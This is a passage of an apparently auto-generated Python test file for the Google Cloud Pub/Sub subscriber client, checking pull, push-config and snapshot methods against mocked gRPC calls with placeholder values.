= SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.pull), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.PullResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.pull( subscription="subscription_value", return_immediately=True, max_messages=1277, ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].return_immediately == True assert args[0].max_messages == 1277 def test_pull_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.pull( pubsub.PullRequest(), subscription="subscription_value", return_immediately=True, max_messages=1277, ) @pytest.mark.asyncio async def test_pull_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._client._transport.pull), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.PullResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.PullResponse()) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.pull( subscription="subscription_value", return_immediately=True, max_messages=1277, ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].return_immediately == True assert args[0].max_messages == 1277 @pytest.mark.asyncio async def test_pull_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.pull( pubsub.PullRequest(), subscription="subscription_value", return_immediately=True, max_messages=1277, ) def test_streaming_pull( transport: str = "grpc", request_type=pubsub.StreamingPullRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() requests = [request] # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.streaming_pull), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = iter([pubsub.StreamingPullResponse()]) response = client.streaming_pull(iter(requests)) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert next(args[0]) == request # Establish that the response is the type that we expect. for message in response: assert isinstance(message, pubsub.StreamingPullResponse) def test_streaming_pull_from_dict(): test_streaming_pull(request_type=dict) @pytest.mark.asyncio async def test_streaming_pull_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.StreamingPullRequest() requests = [request] # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.streaming_pull), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = mock.Mock(aio.StreamStreamCall, autospec=True) call.return_value.read = mock.AsyncMock( side_effect=[pubsub.StreamingPullResponse()] ) response = await client.streaming_pull(iter(requests)) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert next(args[0]) == request # Establish that the response is the type that we expect. message = await response.read() assert isinstance(message, pubsub.StreamingPullResponse) def test_modify_push_config( transport: str = "grpc", request_type=pubsub.ModifyPushConfigRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.modify_push_config), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None response = client.modify_push_config(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.ModifyPushConfigRequest() # Establish that the response is the type that we expect. assert response is None def test_modify_push_config_from_dict(): test_modify_push_config(request_type=dict) @pytest.mark.asyncio async def test_modify_push_config_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.ModifyPushConfigRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.modify_push_config), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) response = await client.modify_push_config(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert response is None def test_modify_push_config_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ModifyPushConfigRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.modify_push_config), "__call__" ) as call: call.return_value = None client.modify_push_config(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_modify_push_config_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ModifyPushConfigRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.modify_push_config), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) await client.modify_push_config(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_modify_push_config_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.modify_push_config), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.modify_push_config( subscription="subscription_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].push_config == pubsub.PushConfig( push_endpoint="push_endpoint_value" ) def test_modify_push_config_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.modify_push_config( pubsub.ModifyPushConfigRequest(), subscription="subscription_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ) @pytest.mark.asyncio async def test_modify_push_config_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.modify_push_config), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.modify_push_config( subscription="subscription_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].push_config == pubsub.PushConfig( push_endpoint="push_endpoint_value" ) @pytest.mark.asyncio async def test_modify_push_config_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.modify_push_config( pubsub.ModifyPushConfigRequest(), subscription="subscription_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ) def test_get_snapshot(transport: str = "grpc", request_type=pubsub.GetSnapshotRequest): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.get_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot(name="name_value", topic="topic_value",) response = client.get_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.GetSnapshotRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Snapshot) assert response.name == "name_value" assert response.topic == "topic_value" def test_get_snapshot_from_dict(): test_get_snapshot(request_type=dict) @pytest.mark.asyncio async def test_get_snapshot_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.GetSnapshotRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.Snapshot(name="name_value", topic="topic_value",) ) response = await client.get_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Snapshot) assert response.name == "name_value" assert response.topic == "topic_value" def test_get_snapshot_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.GetSnapshotRequest() request.snapshot = "snapshot/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.get_snapshot), "__call__") as call: call.return_value = pubsub.Snapshot() client.get_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_snapshot_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.GetSnapshotRequest() request.snapshot = "snapshot/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_snapshot), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot()) await client.get_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"] def test_get_snapshot_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.get_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_snapshot(snapshot="snapshot_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].snapshot == "snapshot_value" def test_get_snapshot_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_snapshot( pubsub.GetSnapshotRequest(), snapshot="snapshot_value", ) @pytest.mark.asyncio async def test_get_snapshot_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot()) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_snapshot(snapshot="snapshot_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].snapshot == "snapshot_value" @pytest.mark.asyncio async def test_get_snapshot_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_snapshot( pubsub.GetSnapshotRequest(), snapshot="snapshot_value", ) def test_list_snapshots( transport: str = "grpc", request_type=pubsub.ListSnapshotsRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.ListSnapshotsResponse( next_page_token="next_page_token_value", ) response = client.list_snapshots(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.ListSnapshotsRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListSnapshotsPager) assert response.next_page_token == "next_page_token_value" def test_list_snapshots_from_dict(): test_list_snapshots(request_type=dict) @pytest.mark.asyncio async def test_list_snapshots_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.ListSnapshotsRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_snapshots), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.ListSnapshotsResponse(next_page_token="next_page_token_value",) ) response = await client.list_snapshots(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListSnapshotsAsyncPager) assert response.next_page_token == "next_page_token_value" def test_list_snapshots_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ListSnapshotsRequest() request.project = "project/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call: call.return_value = pubsub.ListSnapshotsResponse() client.list_snapshots(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "project=project/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_snapshots_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ListSnapshotsRequest() request.project = "project/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_snapshots), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.ListSnapshotsResponse() ) await client.list_snapshots(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "project=project/value",) in kw["metadata"] def test_list_snapshots_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.ListSnapshotsResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_snapshots(project="project_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].project == "project_value" def test_list_snapshots_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_snapshots( pubsub.ListSnapshotsRequest(), project="project_value", ) @pytest.mark.asyncio async def test_list_snapshots_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_snapshots), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.ListSnapshotsResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.ListSnapshotsResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_snapshots(project="project_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].project == "project_value" @pytest.mark.asyncio async def test_list_snapshots_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_snapshots( pubsub.ListSnapshotsRequest(), project="project_value", ) def test_list_snapshots_pager(): client = SubscriberClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),], next_page_token="abc", ), pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(),], next_page_token="ghi", ), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("project", ""),)), ) pager = client.list_snapshots(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, pubsub.Snapshot) for i in results) def test_list_snapshots_pages(): client = SubscriberClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),], next_page_token="abc", ), pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(),], next_page_token="ghi", ), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),], ), RuntimeError, ) pages = list(client.list_snapshots(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_snapshots_async_pager(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_snapshots), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),], next_page_token="abc", ), pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(),], next_page_token="ghi", ), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),], ), RuntimeError, ) async_pager = await client.list_snapshots(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all(isinstance(i, pubsub.Snapshot) for i in responses) @pytest.mark.asyncio async def test_list_snapshots_async_pages(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_snapshots), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),], next_page_token="abc", ), pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(),], next_page_token="ghi", ), pubsub.ListSnapshotsResponse( snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),], ), RuntimeError, ) pages = [] async for page_ in (await client.list_snapshots(request={})).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token def test_create_snapshot( transport: str = "grpc", request_type=pubsub.CreateSnapshotRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.create_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot(name="name_value", topic="topic_value",) response = client.create_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.CreateSnapshotRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Snapshot) assert response.name == "name_value" assert response.topic == "topic_value" def test_create_snapshot_from_dict(): test_create_snapshot(request_type=dict) @pytest.mark.asyncio async def test_create_snapshot_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.CreateSnapshotRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.create_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.Snapshot(name="name_value", topic="topic_value",) ) response = await client.create_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Snapshot) assert response.name == "name_value" assert response.topic == "topic_value" def test_create_snapshot_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.CreateSnapshotRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.create_snapshot), "__call__") as call: call.return_value = pubsub.Snapshot() client.create_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_create_snapshot_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.CreateSnapshotRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.create_snapshot), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot()) await client.create_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_create_snapshot_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.create_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.create_snapshot( name="name_value", subscription="subscription_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].name == "name_value" assert args[0].subscription == "subscription_value" def test_create_snapshot_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.create_snapshot( pubsub.CreateSnapshotRequest(), name="name_value", subscription="subscription_value", ) @pytest.mark.asyncio async def test_create_snapshot_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.create_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot()) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.create_snapshot( name="name_value", subscription="subscription_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].name == "name_value" assert args[0].subscription == "subscription_value" @pytest.mark.asyncio async def test_create_snapshot_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.create_snapshot( pubsub.CreateSnapshotRequest(), name="name_value", subscription="subscription_value", ) def test_update_snapshot( transport: str = "grpc", request_type=pubsub.UpdateSnapshotRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.update_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Snapshot(name="name_value", topic="topic_value",) response = client.update_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.UpdateSnapshotRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Snapshot) assert response.name == "name_value" assert response.topic == "topic_value" def test_update_snapshot_from_dict(): test_update_snapshot(request_type=dict) @pytest.mark.asyncio async def test_update_snapshot_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.UpdateSnapshotRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.update_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.Snapshot(name="name_value", topic="topic_value",) ) response = await client.update_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Snapshot) assert response.name == "name_value" assert response.topic == "topic_value" def test_update_snapshot_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.UpdateSnapshotRequest() request.snapshot.name = "snapshot.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.update_snapshot), "__call__") as call: call.return_value = pubsub.Snapshot() client.update_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "snapshot.name=snapshot.name/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_update_snapshot_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.UpdateSnapshotRequest() request.snapshot.name = "snapshot.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.update_snapshot), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot()) await client.update_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "snapshot.name=snapshot.name/value",) in kw[ "metadata" ] def test_delete_snapshot( transport: str = "grpc", request_type=pubsub.DeleteSnapshotRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.delete_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = None response = client.delete_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.DeleteSnapshotRequest() # Establish that the response is the type that we expect. assert response is None def test_delete_snapshot_from_dict(): test_delete_snapshot(request_type=dict) @pytest.mark.asyncio async def test_delete_snapshot_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = 